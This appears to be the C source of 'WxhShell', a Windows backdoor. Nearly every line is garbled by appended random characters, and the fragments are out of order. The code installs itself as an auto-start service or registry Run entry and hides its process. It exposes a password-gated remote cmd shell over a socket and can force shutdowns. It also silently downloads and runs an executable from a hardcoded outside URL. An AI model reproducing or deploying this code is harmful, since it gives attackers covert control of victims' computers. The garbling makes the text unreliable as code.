    } {*#}"/:8K  
  // 关机 )GbVgYkk  
  case 'd': { 8eAc 5by  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A>0wqT  
    if(Boot(SHUTDOWN)) $w:7$:k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &:]ej6 V'[  
    else { ;v}f7v '  
    closesocket(wsh); G<dWh.|`=  
    ExitThread(0); \{g;|Z 1  
    } y{Fq'w!ap  
    break; ]]R!MnU:$  
    } @<^_ _."  
  // 获取shell qD#E, "%  
  case 's': { DK\Ud6w  
    CmdShell(wsh); Mk:k0,z  
    closesocket(wsh); ^@"H(1Hxu/  
    ExitThread(0); MQ~OG9.  
    break; } `X.^}oe  
  } ,McwPHEMB  
  // 退出 c8R#=^ DD  
  case 'x': { t<UtSkE1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fo$5WTY  
    CloseIt(wsh); 58vq5j<V  
    break; 4u!<3-3Zy  
    } <@+>A$~0  
  // 离开 }3^b1D>2O  
  case 'q': { 4`KQ@m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ITUwIpA E  
    closesocket(wsh); gwm}19JC  
    WSACleanup(); f:w#r.]  
    exit(1);  !623;   
    break; hny(:Dj  
        } @i" ^b  
  } t;>"V.F<1  
  }  4E"OD+  
J|'e.1v  
  // 提示信息 r.JY88"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G!%Cc0d"7  
} 1cA4-,YO>  
  } vk^/[eha  
(Lp$EC&%6  
  return; KS9 e V  
} rM{3]v{~  
ptA-rX.  
// shell模块句柄 Boi?Bt  
int CmdShell(SOCKET sock) u'm[wjCj c  
{ ?E6*Ef  
STARTUPINFO si; N9|v%-_?)  
ZeroMemory(&si,sizeof(si)); ``Yw-|&:Ae  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]>:LHW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q5!"tF p  
PROCESS_INFORMATION ProcessInfo; qGH s2Og  
char cmdline[]="cmd"; ,(D:cRN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S8zc1!  
  return 0; \W;+@w|c  
} ~9tPT 0^+  
P S$6`6G  
// 自身启动模式 p!XB\%sv'"  
int StartFromService(void) dxz.%a@PW  
{ xlhc`wdm  
typedef struct t V]BcDp  
{ hYj!*P)uV  
  DWORD ExitStatus; )|d]0/<  
  DWORD PebBaseAddress; c~bTK" u  
  DWORD AffinityMask; =}8:zO 2'{  
  DWORD BasePriority; ;X9nYH  
  ULONG UniqueProcessId; f{[] m(X;  
  ULONG InheritedFromUniqueProcessId; 5os(.   
}   PROCESS_BASIC_INFORMATION; Wej'AR\NX  
88]UA  
PROCNTQSIP NtQueryInformationProcess; Zn-F!Lsv  
s}O9[_v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ya*KA.EGg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fq-A vU  
McXid~  
  HANDLE             hProcess; IM^K]$q$47  
  PROCESS_BASIC_INFORMATION pbi; BB>R=kt  
!_ng_,J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YNRorE   
  if(NULL == hInst ) return 0; LKEf#mp  
t+2!"Jr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vk#wJ-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F$!K/Mm[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9q4%s?)j  
O6P{+xj$  
  if (!NtQueryInformationProcess) return 0; oX;D|8 f  
App9um3:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); + Q $J q  
  if(!hProcess) return 0; ;I#f:UQ  
|k3^ eeLk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `<3/k  
@77%15_Jz  
  CloseHandle(hProcess); IPIas$  
7Zf * T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  4dd]Ju  
if(hProcess==NULL) return 0; t:SME'~.P  
&' 0|U{|  
HMODULE hMod;  UE-+P  
char procName[255]; AWXBk+  
unsigned long cbNeeded; /c>@^  
=Eh~ wm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hp@nxtKxW  
Kc%GxD`  
  CloseHandle(hProcess); 3fb"1z#  
oa K&!$S]  
if(strstr(procName,"services")) return 1; // 以服务启动 o\ M  
K).Gj2 $  
  return 0; // 注册表启动 j3J\%7^i  
} ;;3oWsil}  
(;Ad:!9{  
// 主模块 )6k([u%;B  
int StartWxhshell(LPSTR lpCmdLine) $?e_ l  
{ E&wz0d;gf  
  SOCKET wsl; ^J[r<Dm8F  
BOOL val=TRUE; {cW%i:  
  int port=0; v Mi&0$  
  struct sockaddr_in door; qkLp8/G>pO  
6UXDIg=  
  if(wscfg.ws_autoins) Install(); H/v|H}d;  
Ha}TdQ%  
port=atoi(lpCmdLine); 8d!t"oj68  
_tJm0z!  
if(port<=0) port=wscfg.ws_port; -k+}w_<Q  
Ul/Uk n$  
  WSADATA data; P`HDQ/^O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S 6|#9C&  
:d!qZFln  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uE}A-\G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {tN?)~ZQ  
  door.sin_family = AF_INET; WqHsf1? N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %+{[%?xh  
  door.sin_port = htons(port); N1vPY]8  
A\1X-Mm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m! 3e>cI  
closesocket(wsl); FthrI  
return 1; h3<L,Olp  
} vpoYb  
WcG}9)9  
  if(listen(wsl,2) == INVALID_SOCKET) { XuY#EJbZ  
closesocket(wsl); Ei Yj`P  
return 1; T- |36Os4  
} ?q %&"  
  Wxhshell(wsl); [T<Z?  
  WSACleanup(); UrP jZ:K'  
LO&/U4:  
return 0; Sp2<rI  
1c%ee$Q  
} K4{1}bU{>  
zIeJ[J@  
// 以NT服务方式启动 j$5S_]2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G|h@O'  
{ *MG*]\D  
DWORD   status = 0; ]8c%)%Vi  
  DWORD   specificError = 0xfffffff; JSAbh\Mq6  
hbOyrjan x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NhgzU+)+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TGxmc37?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,*r}23  
  serviceStatus.dwWin32ExitCode     = 0; z87_/(nu  
  serviceStatus.dwServiceSpecificExitCode = 0; `/4 R$E{  
  serviceStatus.dwCheckPoint       = 0; DA(ur'D  
  serviceStatus.dwWaitHint       = 0; dYn<L/#  
*wd@YMOP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xaSg'8-  
  if (hServiceStatusHandle==0) return; .Z0$KQ'iy  
a*g7uaoP  
status = GetLastError(); {j!jm5  
  if (status!=NO_ERROR) ?e. Ge0&  
{ O #  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 43HZ)3!me  
    serviceStatus.dwCheckPoint       = 0; &l0-0 T>  
    serviceStatus.dwWaitHint       = 0; FB\lUO)U\c  
    serviceStatus.dwWin32ExitCode     = status; us0{y7(p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0&@pD`K e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l5*sCp*Z  
    return; 6HK dBW$/  
  } Uh tk`2O  
Jj :Bi&C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JR_s-&GaM  
  serviceStatus.dwCheckPoint       = 0; \{RMj"w:  
  serviceStatus.dwWaitHint       = 0; >cV^f6fH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ] C&AU[U*  
} !VXs yH3r5  
}nO[;2Na  
// 处理NT服务事件,比如:启动、停止 M#?^uu'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^hN.FIzM  
{ J,&B   
switch(fdwControl) ^G*zFqa+`  
{ 9td[^EB#(h  
case SERVICE_CONTROL_STOP: #@v$`Df<  
  serviceStatus.dwWin32ExitCode = 0; GcpAj9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5J1q]^  
  serviceStatus.dwCheckPoint   = 0; !i dQ-&  
  serviceStatus.dwWaitHint     = 0; (3[Lz+W.u  
  { Z{".(?+}1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d${RZ}/  
  } IcDAl~uG  
  return; ="<S1}.  
case SERVICE_CONTROL_PAUSE: $X;wj5oj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j0eGg::  
  break; yE6EoC^  
case SERVICE_CONTROL_CONTINUE: AvxP0@.`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :-.K.Ch|:  
  break; +kXj+2  
case SERVICE_CONTROL_INTERROGATE: CL%+`c0  
  break; EK JPeeRY  
}; DJu&l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i=ztWKwKf  
} t]QGyW A]  
K~MTbdg  
// 标准应用程序主函数 .Y^UPxf@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YcQ3 :i  
{ U&\2\z3{  
`Qrrnq  
// 获取操作系统版本 VZRM=;V  
OsIsNt=GetOsVer(); O6Gg?j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mH/$_x)o  
`~.0PnHf  
  // 从命令行安装 UyWKE<  
  if(strpbrk(lpCmdLine,"iI")) Install(); aV6l"A]  
[:MpOl-KIz  
  // 下载执行文件 / >As9|%  
if(wscfg.ws_downexe) { WL6p+sN'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +1] xmnts  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~nSGN%  
} !6 k{]v  
uINm>$G,5  
if(!OsIsNt) { } XJZw|n  
// 如果时win9x,隐藏进程并且设置为注册表启动 \i +=tGY  
HideProc(); Mb2rHUr  
StartWxhshell(lpCmdLine); J(s%"d  
} 51Nh"JTy  
else SjZ?keKZ  
  if(StartFromService()) S(b5Gj/Kd  
  // 以服务方式启动 OG C|elSM  
  StartServiceCtrlDispatcher(DispatchTable); (ru9Ke%Dx  
else ?Ww\D8yV&  
  // 普通方式启动 C K{.Ic^  
  StartWxhshell(lpCmdLine); -nvK*rn>}  
G|"`kAa  
return 0; [p%OIqC`pB  
} oV 7A"8L^a  
[)ybPIv]  
&7gE=E(M  
:2\H>^u V  
=========================================== s)e'}y  
=u+.o<   
N-+`[8@(P<  
?pLKUAh  
5nhc|E)C  
A)X 'We  
" "E><:_,\  
t\p_QWnF  
#include <stdio.h> !{L6 4qI  
#include <string.h> S(5aJ[7Zm  
#include <windows.h> F%v?,`_&I  
#include <winsock2.h> OFtAT@ =O  
#include <winsvc.h> 'za4c4b*u  
#include <urlmon.h> :<`hsKy&  
'aWzam>  
#pragma comment (lib, "Ws2_32.lib") 4*<27  
#pragma comment (lib, "urlmon.lib") A^a9,T  
1Xv- e8M  
#define MAX_USER   100 // 最大客户端连接数 /^ d!$v  
#define BUF_SOCK   200 // sock buffer jq4{UW'  
#define KEY_BUFF   255 // 输入 buffer fR4O^6c:  
<^Hh5kfS'  
#define REBOOT     0   // 重启 ,B,2t u2  
#define SHUTDOWN   1   // 关机 tvC7LLNP<  
@Lj28&4:<  
#define DEF_PORT   5000 // 监听端口 (S@H'G"  
r}gp{Pf7e  
#define REG_LEN     16   // 注册表键长度 t-vH\m  
#define SVC_LEN     80   // NT服务名长度 & q(D90w.  
~IB~>5U!  
// 从dll定义API (aO+7ykRuJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z~.3)6,z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 05<MsxB"w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u.}z}'-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FDHa|<oz  
,a I0Aw  
// wxhshell配置信息 IX /r  
struct WSCFG { \\qw"w9  
  int ws_port;         // 监听端口 NINaOs  
  char ws_passstr[REG_LEN]; // 口令 Cu%|}xq  
  int ws_autoins;       // 安装标记, 1=yes 0=no U 9?!|h;7  
  char ws_regname[REG_LEN]; // 注册表键名 \mt0mv;c  
  char ws_svcname[REG_LEN]; // 服务名 d45JT?qg&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?1I0VA']  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mb I';Mq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tv;|K's'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]0HlPP:2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"   0%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [-@Lbu-|  
ypuW}H%`  
}; NA,)FmQjk  
kCRP?sj  
// default Wxhshell configuration Hm?zMyO.k  
struct WSCFG wscfg={DEF_PORT, j HOE%  
    "xuhuanlingzhe", Q6cF <L`bW  
    1, V9 pKb X  
    "Wxhshell", v :YW[THre  
    "Wxhshell", ]hBp elKJ  
            "WxhShell Service", nnU &R  
    "Wrsky Windows CmdShell Service", B=:7N;BT  
    "Please Input Your Password: ", cD6$C31Y]  
  1, @x>J-Owd]J  
  "http://www.wrsky.com/wxhshell.exe", a9ab>2G?FR  
  "Wxhshell.exe" cTKj1)!z?X  
    }; :VPZGzK4  
J`ia6fy.I  
// 消息定义模块 /=x) 9J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a& Ti44a[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rZDmZm?=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xQ `>\f  
char *msg_ws_ext="\n\rExit."; t` R#pQ  
char *msg_ws_end="\n\rQuit."; /x6,"M[97  
char *msg_ws_boot="\n\rReboot..."; N U*6MT4  
char *msg_ws_poff="\n\rShutdown..."; 6'e}!O  
char *msg_ws_down="\n\rSave to "; "%aJ 'l2  
m~fA=#l l  
char *msg_ws_err="\n\rErr!"; 7P`|wNq  
char *msg_ws_ok="\n\rOK!"; K h}Oiw  
b7It8  
char ExeFile[MAX_PATH]; ,y[wS5li  
int nUser = 0; +8FlDiP  
HANDLE handles[MAX_USER]; s|U=_,.  
int OsIsNt; 21$YZlhJ  
_|x b)_  
SERVICE_STATUS       serviceStatus; 9=D\xBd|w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pJ6Z/3]  
a;Q6S  
// 函数声明 t)n!];  
int Install(void); eI@LVi6<b  
int Uninstall(void); R=IZFwr  
int DownloadFile(char *sURL, SOCKET wsh); ;Cdrjx  
int Boot(int flag); slV+2b  
void HideProc(void); C@` eYi  
int GetOsVer(void); ^D(N_va<  
int Wxhshell(SOCKET wsl); ,C88%k  
void TalkWithClient(void *cs); 3,8>\yf`  
int CmdShell(SOCKET sock); 5-Vdq  
int StartFromService(void); ?Sj3-*/?  
int StartWxhshell(LPSTR lpCmdLine); SU.T0>w  
Si#b"ls'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (~P b,Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5!r?U  
!M&L<0b:7e  
// 数据结构和表定义 cn$E?&-  
SERVICE_TABLE_ENTRY DispatchTable[] = \4q% n  
{ (yv&&Jc  
{wscfg.ws_svcname, NTServiceMain}, (^'TT>2B  
{NULL, NULL} RLN>*X  
}; Gb6t`dSzz  
}g:y!p k  
// 自我安装 ST3aiyG  
int Install(void) gG0P &9xz  
{ Kc+;"4/#q  
  char svExeFile[MAX_PATH]; K.?~@5%  
  HKEY key; ve2GRTO^aC  
  strcpy(svExeFile,ExeFile); n$Z@7r  
#pbPaRJL(  
// 如果是win9x系统,修改注册表设为自启动 U+t|wK  
if(!OsIsNt) { Gxu&o%x [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dUOvv/,FZT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kAbRXID  
  RegCloseKey(key); jN:!V t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ycypd\q/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0wV!mC  
  RegCloseKey(key); Yxye?R-:  
  return 0; OPR+K ?  
    } C`c;I7  
  } r>1M&Y=<  
} GwHMXtj4  
else { $\l7aA5~  
TTaSg\K  
// 如果是NT以上系统,安装为系统服务 9^Q:l0|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *a*\E R  
if (schSCManager!=0)  E%\jR  
{ |ahleu  
  SC_HANDLE schService = CreateService Q}~of}h/  
  ( %j%}iM/(<  
  schSCManager, =.,]}  
  wscfg.ws_svcname, >cEc##:5  
  wscfg.ws_svcdisp, ]w.:K*_=  
  SERVICE_ALL_ACCESS, [L 0`B9TD~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c Q~}qE>I  
  SERVICE_AUTO_START, f?T6Ne'  
  SERVICE_ERROR_NORMAL, h4x*C=?A  
  svExeFile, E(A7DXzbR  
  NULL, mw9;LNi\D  
  NULL, |e@9YDZ  
  NULL, J&w%lYiu5  
  NULL, K^bzZa+a  
  NULL :1"{0 gm  
  ); h% BA,C  
  if (schService!=0) gNJ,Bj Pd  
  { jA R@?X  
  CloseServiceHandle(schService); hc}d S$=C  
  CloseServiceHandle(schSCManager); $F-qqkR$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <:)T7yVq  
  strcat(svExeFile,wscfg.ws_svcname); ',k0 _n?t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =D.M}x qo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t6&6kl  
  RegCloseKey(key); #W,BUN}  
  return 0; ab8uY.j  
    } *[jG^w0z8~  
  } ]Ln2|$R  
  CloseServiceHandle(schSCManager); 6>ZUx}vYj  
} <d~P;R(@  
} DytH } U"  
~TC z1UWV  
return 1; S0nBX"$u  
} Um 9Gjd  
rmmN2+H  
// 自我卸载 zRPXmu{t  
int Uninstall(void) RWtD81(oC'  
{ k`Nc<nN8  
  HKEY key; l`8S1~j  
1a4HThDXP  
if(!OsIsNt) { ?ihkV? ;)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'L)@tkklp  
  RegDeleteValue(key,wscfg.ws_regname); %E Jv!u*-  
  RegCloseKey(key); | Zx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X=)Ue  
  RegDeleteValue(key,wscfg.ws_regname); .C(Ir  
  RegCloseKey(key); ~TwjcI*/  
  return 0; tjc3;9  
  } P]:r'^Yn  
} 44 ,:@  
} mxsmW  
else { +c5z-X$^]  
<wUDcF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }N^.4HOS8  
if (schSCManager!=0) h}fz`ti U  
{ _2+}_ >d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |r5 np  
  if (schService!=0) $A\fm`  
  { /,dcr*  
  if(DeleteService(schService)!=0) { @G< J+pm  
  CloseServiceHandle(schService); BYt#aqf  
  CloseServiceHandle(schSCManager); :iJ+ImBpK  
  return 0; nPh 5(&E  
  } w1B!z  
  CloseServiceHandle(schService); [YG\a5QK  
  } @ SaU2  
  CloseServiceHandle(schSCManager); s7=CH   
} V8ka*VJ(B  
} 'EoJo9p6}  
:4s{?IY)l  
return 1; :GXiA  
} DJ;il)^  
x>vC;E${"  
// 从指定url下载文件 OcQ>01Q  
int DownloadFile(char *sURL, SOCKET wsh) d:*,HzG  
{ ^lhV\YxJ  
  HRESULT hr; j*@^O`^v  
char seps[]= "/"; -L@4da[]i  
char *token; Xdj` $/RI  
char *file; >2tQ')%DJ  
char myURL[MAX_PATH]; '"&M4.J{  
char myFILE[MAX_PATH]; qeLfO  
x!GHUz*:uz  
strcpy(myURL,sURL); \}Fx''  
  token=strtok(myURL,seps); U 2am1}  
  while(token!=NULL) @qk$ 6X  
  { <?'d \B  
    file=token; O?e38(  
  token=strtok(NULL,seps); % LeG.~?  
  } $,$bZV  
;Z|X` <6g  
GetCurrentDirectory(MAX_PATH,myFILE); 7Y T%.ID  
strcat(myFILE, "\\"); ]w z`j1  
strcat(myFILE, file); h`n,:Y^++P  
  send(wsh,myFILE,strlen(myFILE),0); >+y[HTf-  
send(wsh,"...",3,0); rZ`ob x\S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9r.Os  
  if(hr==S_OK) !gA<9h  
return 0; *YmR7g|k  
else sFv68Ag+  
return 1; Z18T<e  
nNJU@<|{*  
} ?g gl8bzA  
o))z8n?b  
// 系统电源模块 o?(({HH  
int Boot(int flag) x0 1n  
{ (os}s8cIh  
  HANDLE hToken; !h3 $C\  
  TOKEN_PRIVILEGES tkp; d-Vttxa6  
c,nE@~ul2  
  if(OsIsNt) { &nkYJi(!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hhx"47:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dbM~41C6  
    tkp.PrivilegeCount = 1; ssaEAm:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \6o%gpUkD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pw|f4c7AH  
if(flag==REBOOT) { B1)gudP`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {3n|=  
  return 0; y%%D="  
} Vb^P{F  
else { ^o&3+s} M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G J"S*30  
  return 0; q6DuLFatc*  
} &Omo\Oq&W>  
  } lz2B,#  
  else { 3z7SK Gy  
if(flag==REBOOT) { nvY3$ Ty  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tbf't^Ot$  
  return 0; 3!E*h0$}  
} ZL/iX~}a'  
else { {8+FxmH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @@~OA>^  
  return 0; j}9][Fm1*  
} {l$DNnS  
} /)RyRS8c  
ILi{5L  
return 1; ,z<J`n  
} E4;vC ?K{  
8~*<s5H  
// win9x进程隐藏模块 x!5b" "  
void HideProc(void) ; kPx@C   
{ SOE 5`  
5cj]Y)I-~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B(tLV9B3Q  
  if ( hKernel != NULL ) C \"nlNKw  
  { )F _vWbg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m?3!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0u[Vd:()v(  
    FreeLibrary(hKernel); c;siMWw;  
  } &b :u~puM  
JX4uH>6  
return; <ZmC8&Uo  
} dy/\>hu  
5cahbx1"  
// 获取操作系统版本 r'bctFsD  
int GetOsVer(void) sBUK v(U)  
{ \"=4)Huv  
  OSVERSIONINFO winfo; dCq-&3?t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oDz%K?29%  
  GetVersionEx(&winfo); K"Vo'9R[_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !O|d,)$q  
  return 1; WcRTv"4&  
  else h8 Wv t's  
  return 0; ^a+W!  
} MnToL@  
F)fCj^ zL  
// 客户端句柄模块 _:dt8+T#  
int Wxhshell(SOCKET wsl) =QdHji/sB  
{ RRSkXDU}  
  SOCKET wsh; W5 l)mAv  
  struct sockaddr_in client; iczJXA+  
  DWORD myID; vNdMPulr{  
<'(O0  
  while(nUser<MAX_USER) ~x67v+I  
{ $z1W0  
  int nSize=sizeof(client); sKE7U>mz|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GJTKqr|1O  
  if(wsh==INVALID_SOCKET) return 1; (]c M ;  
VtM:~|v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? 2#tIND  
if(handles[nUser]==0) X8(H#Ef[  
  closesocket(wsh); aTi2=HL=S  
else ,orq&#*Wd  
  nUser++; kT7x !7C  
  } <HYK9{Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LYTx8  
SNLZU%jan  
  return 0; sd(Yr6~..  
} dP[vXhc  
0EWov~Y?  
// 关闭 socket AQ}(v,DOb  
void CloseIt(SOCKET wsh) &P2tzY'  
{ }G{'Rb  
closesocket(wsh); `vbd7i  
nUser--; MxXf.iX&  
ExitThread(0); +V2\hq[{  
} %P3|#0yg0  
yT3q~#:  
// 客户端请求句柄 4?eO1=a  
void TalkWithClient(void *cs) u/s,#  
{ "6^~-` O  
(w1M\yodV  
  SOCKET wsh=(SOCKET)cs; .~3s~y*s  
  char pwd[SVC_LEN]; ,Z3 (`ftC  
  char cmd[KEY_BUFF]; B7'rbc'  
char chr[1]; 4O I''i  
int i,j; v@xbur\L  
)># Y,/q  
  while (nUser < MAX_USER) { G`;YB  
Pn?,56SD=  
if(wscfg.ws_passstr) { B|fh 4FNy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v d{`*|x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;FQ<4PR$  
  //ZeroMemory(pwd,KEY_BUFF); k 4HE'WY  
      i=0; S*aMUV&  
  while(i<SVC_LEN) { W't?aj I|  
K^z u{`S  
  // 设置超时 i>*|k]  
  fd_set FdRead; wSV}{9}wr%  
  struct timeval TimeOut; /JcfAY  
  FD_ZERO(&FdRead); ~8oti4  
  FD_SET(wsh,&FdRead); 8D H~~by  
  TimeOut.tv_sec=8; Sa8KCWgWh  
  TimeOut.tv_usec=0; U{`Q_Uw@$:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7%MD0qm-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e7O9q8b  
MbT;]Bo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p1BMQ?=($  
  pwd=chr[0]; MBIlt 1P  
  if(chr[0]==0xd || chr[0]==0xa) { tfAO#htq  
  pwd=0; LMGo8%2I  
  break; Q<c{$o  
  } B@+&?%ub:  
  i++; pYRqV  
    } og?>Q i Tr  
#7*{ $v  
  // 如果是非法用户,关闭 socket $.5f-vQp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c4Leh"ry  
} :cE6-Fv  
)qID<j#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D4G*Wz8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hx.ln6=4  
`GpOS_;  
while(1) { On`T pz/  
1(YEOZ  
  ZeroMemory(cmd,KEY_BUFF); hvFXYq_[O  
?'8(']/  
      // 自动支持客户端 telnet标准   JmP[9"  
  j=0; 7u=R5  
  while(j<KEY_BUFF) {  fOUW{s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -qJ%31Mr#  
  cmd[j]=chr[0]; :lfUVa{HN  
  if(chr[0]==0xa || chr[0]==0xd) { j@o \d%.'!  
  cmd[j]=0; lSG"c+iV  
  break; \jpm   
  } _\ &N<  
  j++; .%"s| D  
    } ahUc ;S:v#  
v'e5j``=  
  // 下载文件 6 3NhD  
  if(strstr(cmd,"http://")) { n OQvBc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m>:zwz< ;  
  if(DownloadFile(cmd,wsh)) SDbR(oV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ovhd%qV;Y  
  else ]ZI ?U<0  
